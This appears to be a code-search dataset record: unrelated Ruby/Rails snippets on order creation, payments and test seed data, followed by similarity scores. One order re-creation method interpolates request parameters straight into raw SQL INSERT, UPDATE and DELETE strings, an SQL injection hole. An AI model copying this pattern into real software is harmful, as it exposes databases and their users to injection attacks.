let!(:invoice_item2a_2) { create(:invoice_item, :shipped, item: item3, invoice: invoice2a, quantity: 5, unit_price: 20) }\n let!(:invoice_item2b_1) { create(:invoice_item, :shipped, item: item4, invoice: invoice2b, quantity: 3, unit_price: 10) }\n let!(:invoice_item2b_2) { create(:invoice_item, :shipped, item: item4, invoice: invoice2b, quantity: 5, unit_price: 20) }\n let!(:invoice_item2c_1) { create(:invoice_item, :shipped, item: item5, invoice: invoice2c, quantity: 5, unit_price: 10) }\n let!(:invoice_item2c_2) { create(:invoice_item, :shipped, item: item5, invoice: invoice2c, quantity: 10, unit_price: 20) }\n let!(:invoice_item3a_1) { create(:invoice_item, :shipped, item: item6, invoice: invoice3a, quantity: 6, unit_price: 10) }\n let!(:invoice_item3a_2) { create(:invoice_item, :shipped, item: item6, invoice: invoice3a, quantity: 5, unit_price: 20) }\n let!(:invoice_item3b_1) { create(:invoice_item, :packaged, item: item7, invoice: invoice3b, quantity: 7, unit_price: 17) }\n let!(:invoice_item3b_2) { create(:invoice_item, :packaged, item: item9, invoice: invoice3b, quantity: 1, unit_price: 20) }\n let!(:invoice_item3c_1) { create(:invoice_item, :shipped, item: item8, invoice: invoice3c, quantity: 15, unit_price: 14) }\n let!(:invoice_item3c_2) { create(:invoice_item, :shipped, item: item9, invoice: invoice3c, quantity: 1, unit_price: 20) }\n let!(:invoice_item3d_1) { create(:invoice_item, :packaged, item: item9, invoice: invoice3d, quantity: 1, unit_price: 10) }\n let!(:invoice_item3e_1) { create(:invoice_item, :packaged, item: item9, invoice: invoice3e, quantity: 3, unit_price: 20) }\n let!(:invoice_item4a_1) { create(:invoice_item, :shipped, item: item10, invoice: invoice4a, quantity: 3, unit_price: 10) }\n let!(:invoice_item4a_2) { create(:invoice_item, :shipped, item: item10, invoice: invoice4a, quantity: 5, unit_price: 20) }\n let!(:invoice_item4b_1) { create(:invoice_item, :shipped, item: item11, invoice: invoice4b, quantity: 5, unit_price: 10) }\n let!(:invoice_item4b_2) { create(:invoice_item, :packaged, item: item11, invoice: invoice4b, quantity: 5, unit_price: 20) }\n let!(:invoice_item4b_3) { create(:invoice_item, :shipped, item: item12, invoice: invoice4b, quantity: 5, unit_price: 10) }\n let!(:invoice_item4c_1) { create(:invoice_item, :packaged, item: item12, invoice: invoice4c, quantity: 5, unit_price: 10) }\n let!(:invoice_item4c_2) { create(:invoice_item, :shipped, item: item12, invoice: invoice4d, quantity: 4, unit_price: 25) }\n let!(:invoice_item5a_1) { create(:invoice_item, :shipped, item: item13, invoice: invoice5a, quantity: 6, unit_price: 10) }\n let!(:invoice_item5a_2) { create(:invoice_item, :shipped, item: item13, invoice: invoice5a, quantity: 5, unit_price: 20) }\n let!(:invoice_item6a_1) { create(:invoice_item, :shipped, item: item14, invoice: invoice6a, quantity: 6, unit_price: 10) }\n let!(:invoice_item6a_2) { create(:invoice_item, :packaged, item: item14, invoice: invoice6a, quantity: 5, unit_price: 20) }\n let!(:invoice_item7a_1) { create(:invoice_item, :shipped, item: item15, invoice: invoice7a, quantity: 8, unit_price: 10) }\n let!(:invoice_item7a_2) { create(:invoice_item, :packaged, item: item15, invoice: invoice7a, quantity: 3, unit_price: 20) }\n let!(:invoice_item7a_3) { create(:invoice_item, :shipped, item: item15, invoice: invoice7b, quantity: 2, unit_price: 20) }\n let!(:invoice_item7b_1) { create(:invoice_item, :shipped, item: item16, invoice: invoice7b, quantity: 6, unit_price: 10) }\n let!(:invoice_item7b_2) { create(:invoice_item, :pending, item: item16, invoice: invoice7b, quantity: 5, unit_price: 20) }\n let!(:invoice_item8a_1) { create(:invoice_item, :pending, item: item17, invoice: invoice8a, quantity: 6, unit_price: 10) }\n let!(:invoice_item8a_2) { create(:invoice_item, :pending, item: item17, invoice: invoice8a, quantity: 5, unit_price: 20) }\n let!(:invoice_item8b_1) { create(:invoice_item, :shipped, item: item18, invoice: invoice8b, quantity: 8, unit_price: 10) }\n let!(:invoice_item8b_2) { create(:invoice_item, :shipped, item: item18, invoice: invoice8b, quantity: 8, unit_price: 20) }\n let!(:invoice_item9a_1) { create(:invoice_item, :shipped, item: item19, invoice: invoice9a, quantity: 6, unit_price: 10) }\n let!(:invoice_item9a_2) { create(:invoice_item, :shipped, item: item19, invoice: invoice9a, quantity: 5, unit_price: 20) }\n let!(:invoice_item10a_1) { create(:invoice_item, :pending, item: item20, invoice: invoice10a, quantity: 6, unit_price: 10) }\n let!(:invoice_item10a_2) { create(:invoice_item, :shipped, item: item20, invoice: invoice10a, quantity: 5, unit_price: 20) }\nend", "def initialize(order)\n @order = order\n end", "def factory_strategy; end", "def initialize(order_trying_to_create)\n @order_trying_to_create = order_trying_to_create\n end", "def build_demo_data\n @artist = FactoryGirl.create :artist\n @genre = FactoryGirl.create :genre\n end", "def create_new_order\n\n @dps_pxpay_id = params[:id]\n selected_products = params[:products][:ids] unless params[:products].blank?\n\n @order = Order.new(params[:order])\n\n if !params[:contactinfo].blank?\n\n @order.customers_street_address = params[:contactinfo][:street]\n @order.customers_suburb = params[:contactinfo][:suburb]\n @order.customers_city = params[:contactinfo][:locality]\n @order.customers_postcode = params[:contactinfo][:postcode]\n @order.customers_state = ''\n @order.customers_state = Region.find(params[:contactinfo][:region_id].to_i).region_name unless params[:contactinfo][:region_id].blank?\n @order.customers_country = ''\n @order.customers_country = Country.find(params[:contactinfo][:country_id].to_i).country_name unless params[:contactinfo][:country_id].blank?\n @order.customers_telephone = params[:contactinfo][:phone_prefix] + params[:contactinfo][:phone] + params[:contactinfo][:phone_extension]\n @order.customers_email_address = params[:contactinfo][:email_1]\n @order.customers_address_format_id = 1 if params[:order][:customers_address_format_id].blank?\n\n end\n\n if !params[:delivery_contactinfo].values.join('').blank?\n\n @order.delivery_name = params[:delivery_contactinfo][:name]\n @order.delivery_company = params[:delivery_contactinfo][:company]\n @order.delivery_street_address = params[:delivery_contactinfo][:street]\n @order.delivery_suburb = params[:delivery_contactinfo][:suburb]\n @order.delivery_city = params[:delivery_contactinfo][:locality]\n @order.delivery_postcode = params[:delivery_contactinfo][:postcode]\n @order.delivery_state = ''\n @order.delivery_state = Region.find(params[:delivery_contactinfo][:region_id].to_i).region_name unless params[:delivery_contactinfo][:region_id].blank?\n @order.delivery_country = ''\n @order.delivery_country = Country.find(params[:delivery_contactinfo][:country_id].to_i).country_name unless params[:delivery_contactinfo][:country_id].blank?\n\n else\n # default to customers address\n @order.delivery_name = @order.customers_name\n @order.delivery_company = @order.customers_company\n @order.delivery_street_address = @order.customers_street_address\n @order.delivery_suburb = @order.customers_suburb\n @order.delivery_city = @order.customers_city\n @order.delivery_postcode = @order.customers_postcode\n @order.delivery_state = @order.customers_state\n @order.delivery_country = @order.customers_country\n\n end\n\n @order.delivery_address_format_id = 1 if params[:order][:delivery_address_format_id].blank?\n\n if !params[:billing_contactinfo].values.join('').blank?\n\n @order.billing_name = params[:billing_contactinfo][:name]\n @order.billing_company = params[:billing_contactinfo][:company]\n @order.billing_street_address = params[:billing_contactinfo][:street]\n @order.billing_suburb = params[:billing_contactinfo][:suburb]\n @order.billing_city = params[:billing_contactinfo][:locality]\n @order.billing_postcode = params[:delivery_contactinfo][:postcode]\n @order.billing_state = ''\n @order.billing_state = Region.find(params[:billing_contactinfo][:region_id].to_i).region_name unless params[:billing_contactinfo][:region_id].blank?\n @order.billing_country = ''\n @order.billing_country = Country.find(params[:billing_contactinfo][:country_id].to_i).country_name unless params[:billing_contactinfo][:country_id].blank?\n\n else\n # default to customers address\n @order.billing_name = @order.customers_name\n @order.billing_company = @order.customers_company\n @order.billing_street_address = @order.customers_street_address\n @order.billing_suburb = @order.customers_suburb\n @order.billing_city = @order.customers_city\n @order.billing_postcode = @order.customers_postcode\n @order.billing_state = @order.customers_state\n @order.billing_country = @order.customers_country\n\n end\n\n @order.billing_address_format_id = 1 if params[:order][:billing_address_format_id].blank?\n\n @order.shipping_method = FailedOrdersHelper::SHIPPING_MODULES_ENABLED[@order.shipping_module_code]\n\n @order.last_modified = Time.now.strftime(\"%Y-%m-%d %H:%M:%S\")\n\n errors = Array.new\n\n # zencartorders\n if !selected_products.blank? && @order.save\n orders_id = @order.id\n\n # zencartorders_total\n order_total = ActiveRecord::Base.connection.insert(\n \"INSERT INTO zencartorders_total \" +\n \"(orders_id, title, text, value, class, sort_order) \" +\n \"VALUES(#{orders_id}, 'Total:', '$#{@order.order_total}', #{@order.order_total}, 'ot_total', 999)\"\n )\n\n errors.push(\"Orders Total record failed to be created\") unless order_total.to_i > 0\n\n # zencartorders_status_history\n order_status_history = ActiveRecord::Base.connection.insert(\n \"INSERT INTO zencartorders_status_history \" +\n \"(orders_id, orders_status_id, date_added) \" +\n \"VALUES(#{orders_id}, #{@order.orders_status}, '#{@order.date_purchased}')\"\n )\n\n errors.push(\"Orders Status History record failed to be created\") unless order_status_history.to_i > 0\n\n # process each selected product\n selected_products.each do |selected_product|\n products_prid = selected_product.gsub('products_', '')\n\n product = FailedOrdersHelper.get_product(products_prid.to_s.split(':')[0])\n product_class = product['products_class'] unless product.blank?\n\n # zencartorders_products\n orders_products_id = FailedOrdersHelper.create_orders_product(products_prid, orders_id, @order.customers_id, product)\n\n if orders_products_id.to_i > 0\n\n # zencartorders_products_attributes\n orders_products_attribute = FailedOrdersHelper.create_orders_products_attributes(orders_id, orders_products_id, products_prid)\n\n # zencartorders_products_download\n orders_products_download = FailedOrdersHelper.create_orders_products_download(orders_id, orders_products_id, products_prid)\n if orders_products_download.blank? && orders_products_download != false\n errors.push(\"Orders Products Download for product ID #{product['products_id']} #{product['products_name']} (#{product['products_model']}) failed to be created\")\n end\n\n # memberships\n if product_class == 'SERVICE'\n # get the service\n service = SounzService.find(product['products_id'])\n\n # check whether that customer has already that type of membership\n # and get the one with the latest expiry date\n current_membership = Membership.find(:first, :select => 'expiry_date',\n :conditions => ['member_type_id =? AND login_id=?', service.member_type_id, @order.customers_id])\n\n start_date = Time.now\n start_date = current_membership['expiry_date'] unless current_membership.blank?\n\n expiry_date = start_date + service.subscription_duration_hash[:number].to_i.send(service.subscription_duration_hash[:interval])\n\n membership = Membership.create(\n :login_id => @order.customers_id,\n :member_type_id => service.member_type_id,\n :expiry_date => expiry_date,\n :pending_payment => false,\n :loan_count => service.subscription_item_count.to_i,\n :sounz_service_id => service.sounz_service_id,\n :zencart_order_id => @order.orders_id\n )\n\n errors.push(\"Membership #{service.sounz_service_name} failed to be created\") if membership.blank?\n\n elsif product_class.starts_with?('LOAN_')\n # get any item of that type\n # which one does not matter as we need an item id only to create a reserved borrowed item record\n # SOUNZ admin will manually assign an item they want from Borrowed Items UI\n loan_entity = product_class.split('_')[1]\n if loan_entity == \"MANIFESTATION\"\n item_type_id = ItemType::MUSIC_LIBRARY_ITEM.item_type_id\n item = Item.find(:first, :conditions => ['manifestation_id =? AND item_type_id =?', product['manifestation_id'], item_type_id])\n elsif loan_entity == \"RESOURCE\"\n item_type_id = ItemType::RESOURCE_LIBRARY_ITEM.item_type_id\n item = Item.find(:first, :conditions => ['resource_id =? AND item_type_id =?', product['manifestation_id'], item_type_id])\n end\n\n # create reserved borrowed item record\n borrowed_item = BorrowedItem.create( \n :item_id => item.item_id,\n :hired_out => false,\n :date_borrowed => Time.now,\n :login_id => @order.customers_id,\n :date_due => (Time.now + 90.days),\n :active => true,\n :reserved => true\n )\n if borrowed_item.blank?\n errors.push(\"Borrowed Item record failed to be created\")\n else\n # decrement loan_count for a library subcsription membership\n membership = Membership.get_subscription_item_count_membership(Login.find(@order.customers_id), 'library')\n membership.decrease_loan_count(1) unless membership.blank?\n end\n end\n\n\n # delete processed record from zencartcustomers_basket\n basket_record = ActiveRecord::Base.connection.delete(\n \"DELETE FROM zencartcustomers_basket \n WHERE products_id = '#{products_prid}' \n AND customers_id = #{@order.customers_id}\"\n )\n\n else\n errors.push(\"Product ID #{product['products_id']} #{product['products_name']} (#{product['products_model']}) failed to be added to the order no #{orders_id}\")\n end #if !orders_products_id.blank?\n\n end #selected_products.each do |product|\n\n # update zencartdps_pxpay with order_id\n zencartdps_pxpay_record = ActiveRecord::Base.connection.update(\n \"UPDATE zencartdps_pxpay SET order_id = #{orders_id} WHERE dps_pxpay_id = #{@dps_pxpay_id}\"\n )\n errors.push(\"DPS Pxpay record #{dps_pxpay_id} failed to be updated with the order no #{orders_id}\") unless zencartdps_pxpay_record > 0\n\n flash[:notice] = \"The order was re-created\"\n\n flash[:error] = \"ERRORS: #{errors.join('<br/>')}\" unless errors.blank?\n\n redirect_to :action => :show_order, :id => orders_id\n\n else\n initialize_new_order\n if selected_products.blank?\n @order.valid? # validate Order object to get all validation errors\n @order.errors.add_to_base(\" There is no products selected\")\n end\n render :action => :new_order\n end\n\n end", "def create_additional_addresses(amount)\n amount.times do\n profile = UserProfile.all.sample\n Address.create fake_address(profile_id: profile.id)\n end\nend", "def mk_products\n # create some test products\n @first_product = Product.create!(:name => \"Test product 1\")\n @second_products = Product.create!(:name => \"Test product 2\") \n @product_ids = Product.all.map(&:id)\n assert_equal(2,Product.all.size)\n [@first_product,@second_product]\n end", "def create_users\n 50.times do\n Person.create(\n first_name: Faker::Name.first_name,\n last_name: Faker::Name.last_name,\n display_name: Faker::Name.title,\n email: Faker::Internet.email,\n password: \"test1234\",\n password_confirmation: \"test1234\"\n )\n end\nend", "def create_person\n free = [\"mornings\", \"evenings\", \"always\", \"afternoons\", \"weekends\", \"none\"].sample\n\n person = Person.create(\n name: Faker::Movies::HitchhikersGuideToTheGalaxy.character,\n free_time: free,\n age: rand(11...70)\n )\nend", "def build_detail_fee_based\n details = self.invoice_details.new(:created_user => self.created_user, :record_type => InvoiceDetail::FEE, :provider_name => 'a',\n :patient_name => 'a', :dos => Date.today, :disposition => InvoiceDetail::INCLUDE)\n end", "def new\n @order = Order.new\n\n end", "def setup_broker_requests(broker)\n broker.license_type.each_with_index do |l,index| \n license=broker.licenses.create(license_type:l,license_number:\"test#{index}\")\n license.license_image=(Rails.root+\"spec/fixtures/test_files/example_license.pdf\").open\n license.save\n end\n \n @license1=License.all.first\n @license2=License.all.second\n broker.broker_requests.create(request_type:\"create account\",complement:false) \n broker.reload\n broker.licenses.each do |l|\n broker.broker_requests.create(request_type:\"create license\", license_id:l.id,complement:true,admin_reply:nil)\n end\n\nend", "def create_order(order)\n build_persisted_order(\n post('/market/orders', order.symbolize_keys.merge(side: SIDES_MAP.fetch(order.fetch(:side))))\n )\n end", "def new\n @order = Order.new\n 8.times { @order.ordered_products.build }\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @order }\n end\n end", "def create\n\n payment = PagSeguro::Payment.new(notification_url: 'https://safe-dusk-38202.herokuapp.com/notification', payment_method: 'creditCard', reference: '1')\n\n\n ## Adicionando endereço do comprador\n address = PagSeguro::Address.new(postal_code: params[:zipcode], street: params[:street], number: params[:number], complement: '', district: params[:district], city: params[:city], state: params[:state])\n \n shipping = PagSeguro::Shipping.new\n shipping.address = address\n payment.shipping = shipping\n \n\n items = [PagSeguro::Item.new(id: @product.id, description: @product.description, amount: @product.price, quantity: 1)]\n payment.items = items\n\n # Criando uma referencia para a nossa ORDER\n \n payment.reference = @reference\n\n\n phone = PagSeguro::Phone.new(params[:phone_code], params[:phone_number])\n document = PagSeguro::Document.new(params[:cpf])\n sender = PagSeguro::Sender.new(email: params[:email], name: params[:name], hash_id: params[:sender_hash] )\n sender.phone = phone\n sender.document = document\n payment.sender = sender\n\n # payment.credit_card_token = params[:card_token]\n credit_card = PagSeguro::CreditCard.new(params[:card_token])\n credit_card.holder = PagSeguro::Holder.new(params[:card_name], params[:birthday].to_datetime())\n document = PagSeguro::Document.new(params[:cpf])\n credit_card.holder.document = document\n phone = PagSeguro::Phone.new(params[:phone_code], params[:phone_number])\n credit_card.holder.phone = phone\n \n credit_card.billing_address = address\n\n payment.credit_card = credit_card\n\n\n credit_card.installment = PagSeguro::Installment.new(1, @product.price)\n\n # payment.create\n transaction = payment.transaction\n\n\n\n # Cria uma Order para registro das transações\n \n create_order\n \n \n \n\n if payment.errors.any?\n puts \"=> ERRORS\"\n puts payment.errors.join(\"\\n\")\n render plain: \"Erro No Pagamento #{payment.errors.join(\"\\n\")}\"\n else\n\n redirect_to order_index_path\n\n end\n\n end", "def create_random_contract\n return nil if contracts.offered.count > 3\n create_third_party_mission available_contract_missions.sample\n end", "def make_service_provider_accessors\n ## Creating Many Service Providers for single user(accessor)\n service_providers = User.where(:role_id=>2).limit(20)\n accessor = User.where(:role_id=>3).first\n service_providers.each { |service_provider| Following.create(:user_id=>accessor.id,:follower_id=>service_provider.id) }\n\n ## Creating Many accessors for single user(Service Provider)\n accessors = User.where(:role_id=>3).order('created_at DESC').limit(20)\n service_provider = User.where(:role_id=>2).first\n accessors.each { |accessors| Following.create(:user_id=>accessors.id,:follower_id=>service_provider.id) }\nend", "def build\n { 'Shipper' => PartyBuilder.build(@model.shipper, :shipper => true),\n 'ShipTo' => PartyBuilder.build(@model.recipient),\n 'PaymentInformation' => build_payment_info,\n 'Service' => build_service,\n 'Package' => PackageBuilder.build(@model.package),\n :order! => ['Shipper', 'ShipTo', 'PaymentInformation', 'Service', 'Package'] }\n end", "def seed_clients\n 10.times do |n|\n Client.create!({\n sex: %w(male female other).sample,\n year_of_birth: [*1950..2004].sample,\n cell_phone: fake_cell_phone,\n category_ids: [1, 2, 3, 4].sample\n })\n end\nend", "def create_line_item_for_per_person_charge_2 qty, event_vendor, include_price_in_expense, include_price_in_revenue, notes\n\n [\n # Vendor\n LineItem.create(\n :line_item_type => \"Goods\", :line_item_sub_type => \"Menu-Fee\",\n :sku => \"MT-\" + event_vendor.menu_template_id.to_s.rjust(7, '0'), :name => \"* Per Person Charge (\" + event_vendor.vendor.name + \")\", :quantity => qty,\n :unit_price_expense => event_vendor.calculate_menu_level_cogs,\n :tax_rate_expense => 0,\n :payable_party => event_vendor.vendor,\n :include_price_in_expense => include_price_in_expense,\n :menu_template => event_vendor.menu_template),\n\n # Account\n LineItem.create(\n :line_item_type => \"Goods\", :line_item_sub_type => \"Menu-Fee\",\n :sku => \"MT-\" + event_vendor.menu_template_id.to_s.rjust(7, '0'), :name => \"* Per Person Charge (\" + event_vendor.vendor.name + \")\", :quantity => qty,\n :unit_price_revenue => event_vendor.calculate_menu_level_sell_price,\n :billable_party => account,\n :include_price_in_revenue => include_price_in_revenue,\n :menu_template => event_vendor.menu_template)\n ]\n end", "def create_payment\n payment = ShopPayment.new({\n :order => @order,\n :gateway => gateway_name,\n :amount => @order.price,\n :card_type => card_type,\n :card_number=> card_number_secure\n })\n \n @order.update_attribute(:status, 'paid')\n \n @result[:payment] = payment.save\n end", "def generate_ebay_items_with_size(num, size=\"LP\", price=10.00)\n ebay_items = []\n num.times { ebay_items << Factory.create(:ebay_item, :size => size, :price => price) }\n ebay_items\n end", "def createFloorDoorsList\n for x in 1..@numberOfFloors do\n @floorDoorsList.append(Door.new(x, DoorStatus::CLOSED, x))\n # puts \"elevator#{@id} door floor #{@floorDoorsList[x - 1].id} created\"\n end\n end", "def create_loan\n # helper method to create a loan and return that loan\n options = { holder: test_holder, borrowed: 1000, term: 2, rate: 2 }\n # hash of key value pairs to initialise loan\n Loan.new(options, 5)\n # creates loan and returns it\n end", "def new\n @order = Order.new\n end", "def new\n @order = Order.new\n end", "def new\n @order = Order.new\n end", "def new\n @order = Order.new\n end", "def new\n @order = Order.new\n end", "def new\n @order = Order.new\n end", "def newOrder\n order = Order.last\n user = User.find(Contract.find(order.contract_id).buyer_id)\n MagicMailer.newOrder(order, user)\n end", "def create\n @order = WebOrder.new(order_params)\n respond_to do |format|\n if @order.save\n @order.payments.create(total_paid: params[:initial], kind: :initial, date: @order.date) if params[:initial] && params[:initial].to_i != 0\n format.html { redirect_to order_path(@order.id), notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { redirect_to new_order_path }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def basic_test_data\n sf = FactoryGirl.create(:city, name: \"San Francisco\")\n ch = FactoryGirl.create(:city, name: \"Chicago\")\n FactoryGirl.create(:business_type)\n\n # Admin user\n FactoryGirl.create(:user, admin: true, city_id: sf.id)\n\n # Need some businesses in each city\n 3.times do\n FactoryGirl.create(:business, city: sf.name, state: \"CA\")\n FactoryGirl.create(:business, city: ch.name, state: \"IL\")\n end\n\n %w(a b c d e f g h i j k).each do |tag|\n FactoryGirl.create(:tag, name: tag)\n end\n end", "def create_bullyings\n @people = Person.all\n #crea todos los chalequeos para el\n @people.each do |person|\n if person.id != self.id\n @bullying = Bullying.new\n @bullying.bulled_id = person.id\n @bullying.bully_id = self.id\n @bullying.save\n end\n end\n #crea todos los chalequeos que hace el\n @people.each do |person|\n if person.id != self.id\n @bullying = Bullying.new\n @bullying.bulled_id = self.id\n @bullying.bully_id = person.id\n @bullying.save\n end\n end\n end", "def create_list(name, amount, *traits_and_overrides)\n amount.times.map { create(name, *traits_and_overrides) }\n end", "def gen_payment\n cc = @data_object\n pay = Payment.new\n pay.pay_type = Payment::CC\n pay.pay_our_ref = \"CC:\" + sprintf(\"%06d\", cc.cc_id)\n pay.pay_doc_ref = cc.cc_trans_id\n pay.pay_payor = cc.cc_payor[0, 40]\n pay.pay_amount = cc.cc_amount\n pay\n end", "def onsite_pay_choose\n @p = PaymentPresenter.new\n\n params[:registrant_id].each do |reg_id|\n reg = Registrant.find(reg_id)\n @p.add_registrant(reg)\n end\n end", "def populate(nPeople)\n @floors[0].enqueue(Person.new(0,1,self))\n @floors[0].enqueue(Person.new(0,3,self))\n @floors[0].enqueue(Person.new(0,4,self))\n @floors[0].enqueue(Person.new(0,3,self))\n @floors[0].enqueue(Person.new(0,4,self))\n @floors[3].enqueue(Person.new(3,1,self))\n @floors[4].enqueue(Person.new(4,2,self))\n @floors[2].enqueue(Person.new(2,0,self))\n @floors[1].enqueue(Person.new(1,4,self))\n\n end", "def new\n @order = Order.new\n @order.build_client\n @order.order_product_presentations.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @order }\n end\n end", "def generate_pool_item(user)\r\n\tpool_item = FactoryGirl.create(:incomplete_micropost, user: user)\r\n\t\r\n\tuser.participate(pool_item)\r\n\t\r\n\tRails.logger.debug(\"\\n\\nGenerating Pool Item With ID: #{pool_item.id}\\nContent: #{pool_item.content}\\nLocation: #{pool_item.location}\\nTime: #{pool_item.time}\\nUser ID: #{pool_item.user.id}\\nUpdated At: #{pool_item.updated_at}\\n\")\r\n\t\r\n\treturn pool_item\r\nend", "def create_full_product\n generate_product_name\n generate_product_code\n generate_product_manufacturer\n generate_product_description\n generate_product_price\n end", "def create\n if current_user.role?('manager') and !Manager.find(current_user.manager_id).validity\n redirect_to orders_path, notice: t(:manager_not_valid)\n return\n end \n @order = Order.new(params[:order])\n \n unless params[:order][:shipping_address_id] == ''\n @select_shipping_address_id = params[:order][:shipping_address_id]\n end\n \n if current_user.manager_id\n @managers = Manager.where(id: current_user.manager_id)\n @warehouses = Manager.find(current_user.manager_id).warehouses\n @shipping_address_ids = ManagerShippingAddress.where(manager_id: current_user.manager_id).collect(&:shipping_address_id)\n @customer_ids= ShippingAddress.where(id: @shipping_address_ids).collect(&:customer_id)\n @customers = Customer.where(validity: true, id: @customer_ids)\n unless params[:customer_id] == ''\n @select_customer_id = params[:customer_id]\n @shipping_addresses = Customer.find(params[:customer_id]).shipping_addresses.where(id: @shipping_address_ids)\n else\n params[:order][:shipping_address_id] = ''\n end\n else\n @managers = Manager.where(validity: true)\n @warehouses = Warehouse.where(validity: true)\n @customers = Customer.where(validity: true)\n unless params[:customer_id] == ''\n @select_customer_id = params[:customer_id]\n @shipping_addresses = Customer.find(params[:customer_id]).shipping_addresses\n else\n params[:order][:shipping_address_id] = ''\n end\n end\n @price_lists = PriceList.where(validity: true) \n \n if Settings.default_price_list_id and @order.price_list_id.nil?\n @order.price_list_id = Settings.default_price_list_id\n end\n \n unless params[:order][:price_list_id] == ''\n @products = PriceList.find(params[:order][:price_list_id]).products.where(validity: true) \n else\n @products = []\n end \n \n @unit_of_measures = UnitOfMeasure.where(validity: true)\n @categories = Category.where(validity: true)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: t(:order_created) }\n format.json { render json: @order, status: :created, location: @order }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def build\n build_order_detail_journal_rows do |virtual_order_detail|\n validate_order_detail(virtual_order_detail)\n end\n\n order_details.each { |order_detail| update_product_recharges(order_detail) }\n add_journal_rows_from_product_recharges\n self\n end", "def initialize(owner, expire_date, type)#, dob, phone, vip)\n\t\t@number = rand(10000000)\n\t\t@expire_date = Date.parse(expire_date)\n\t\t@cvv = rand(1000)\n\t\t@name = owner.name\n\t\t# Customer.new(name, dob, phone, vip)\n\tend", "def create_line_item_for_per_person_charge_2 qty, event_vendor, include_price_in_expense, include_price_in_revenue, notes\n # Vendor\n l1 = LineItem.create!(\n :line_item_type => \"Goods\", :line_item_sub_type => \"Menu-Fee\",\n :sku => \"MT-\" + event_vendor.menu_template_id.to_s.rjust(7, '0'), :name => \"* Per Person Charge (\" + event_vendor.vendor.name + \")\", :quantity => qty,\n :unit_price_expense => event_vendor.calculate_menu_level_cogs,\n :tax_rate_expense => 0,\n :payable_party => event_vendor.vendor,\n :include_price_in_expense => include_price_in_expense,\n :menu_template => event_vendor.menu_template, :event => self)\n\n # Account\n l2 = LineItem.create!(\n :line_item_type => \"Goods\", :line_item_sub_type => \"Menu-Fee\",\n :sku => \"MT-\" + event_vendor.menu_template_id.to_s.rjust(7, '0'), :name => \"* Per Person Charge (\" + event_vendor.vendor.name + \")\", :quantity => qty,\n :unit_price_revenue => event_vendor.calculate_menu_level_sell_price,\n :billable_party => account,\n :include_price_in_revenue => include_price_in_revenue,\n :menu_template => event_vendor.menu_template, :event => self)\n\n l1.opposing_line_item = l2\n l2.opposing_line_item = l1\n l1.save\n l2.save\n \n [l1, l2]\n end", "def create(value)\n\t\[email protected](value)\n\tend" ]
[ "0.5927258", "0.5917945", "0.5855215", "0.5825372", "0.57786", "0.57766527", "0.57391596", "0.56728065", "0.5666374", "0.56610984", "0.56579834", "0.56411433", "0.563297", "0.5628647", "0.5628038", "0.5617984", "0.5571768", "0.55717117", "0.55683845", "0.5564358", "0.5552982", "0.5549486", "0.5536587", "0.5524665", "0.55182797", "0.5515236", "0.55132717", "0.5511803", "0.5495425", "0.54905874", "0.5488817", "0.54846966", "0.54762197", "0.5471963", "0.54668164", "0.54610586", "0.5458961", "0.54573244", "0.5445177", "0.54405963", "0.5439658", "0.54308456", "0.54288036", "0.54254484", "0.5425073", "0.5417595", "0.5410482", "0.5397691", "0.5353841", "0.53482133", "0.534385", "0.5340139", "0.5314735", "0.5308936", "0.5302147", "0.53006804", "0.5299633", "0.52929837", "0.528276", "0.52805156", "0.5277595", "0.5275744", "0.52748024", "0.52709025", "0.5264201", "0.52619815", "0.525898", "0.5254496", "0.5249178", "0.52435654", "0.5243239", "0.5230386", "0.5223876", "0.52229273", "0.5222885", "0.52202356", "0.52175283", "0.5214173", "0.52118105", "0.5208801", "0.5208801", "0.5208801", "0.5208801", "0.5208801", "0.5208801", "0.52044404", "0.52036434", "0.5193777", "0.51924646", "0.5174179", "0.51731616", "0.51704305", "0.51685864", "0.51600474", "0.51578933", "0.5153568", "0.5146183", "0.51426154", "0.5141528", "0.5137625", "0.51373863" ]
0.0
-1
GET /key_indicate_map/indicator_files GET /key_indicate_map/indicator_files.json
def index @key_indicate_map_indicator_files = KeyIndicateMap::IndicatorFile.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_key_indicate_map_indicator_file\n @key_indicate_map_indicator_file = KeyIndicateMap::IndicatorFile.find(params[:id])\n end", "def index\n @key_indicate_dictionary = KeyIndicate::Dictionary.first || KeyIndicate::Dictionary.create\n @keys = @key_indicate_dictionary.key_indicate_dictionary_files\n end", "def index\n @indicator_keys = {}\n KeyIndicateMap::IndicatorKey.all.reject{|i| i.key_indicate_map_indicators.empty? }.each{|indicator|\n group = indicator['group']\n @indicator_keys[group] = {} if @indicator_keys[group].nil?\n @indicator_keys[group]['group_icon'] = indicator['group_icon']\n @indicator_keys[group]['group_color'] = indicator['group_color']\n @indicator_keys[group]['indicators'] = [] if @indicator_keys[group]['indicators'].nil?\n @indicator_keys[group]['indicators'].push({\"id\" => indicator.id.to_s, \"name\" => indicator['name']})\n }\n @indicator_keys = @indicator_keys.sort_by{|key, value| key }\n @years = KeyIndicateMap::IndicatorFile.only(:year).map{|f| f.year}\n @selected_year = params[:year].to_i if params[:year]\n if params[:key]\n @selected_key = params[:key]\n @group = KeyIndicateMap::IndicatorKey.find(@selected_key).group\n end\n\n respond_to do |format|\n format.html\n format.js\n end\n\n end", "def set_key_indicate_map_indicator\n @key_indicate_map_indicator = KeyIndicateMap::Indicator.find(params[:id])\n end", "def files\n @files=get_endpoint('extra').keys\n end", "def set_key_indicate_map_indicator_key\n @key_indicate_map_indicator_key = KeyIndicateMap::IndicatorKey.find(params[:id])\n end", "def key_files; end", "def key_indicate_map_indicator_file_params\n params.require(:key_indicate_map_indicator_file).permit(:title, :description, :year, :town, :old_town, :indicator_key, :old_key)\n end", "def key_indicate_map_indicator_params\n params[:key_indicate_map_indicator, :type, :history, :year, :key, :town_id]\n end", "def create\n @indicator_files = []\n\n params['indicate_file'].each do |f|\n doc = KeyIndicateMap::IndicatorFile.new\n doc.indicate_file = f\n params[:key_indicate_map_indicator_file][:title].blank? ? doc.title = f.original_filename : doc.title = params[:key_indicate_map_indicator_file][:title]\n doc.description = 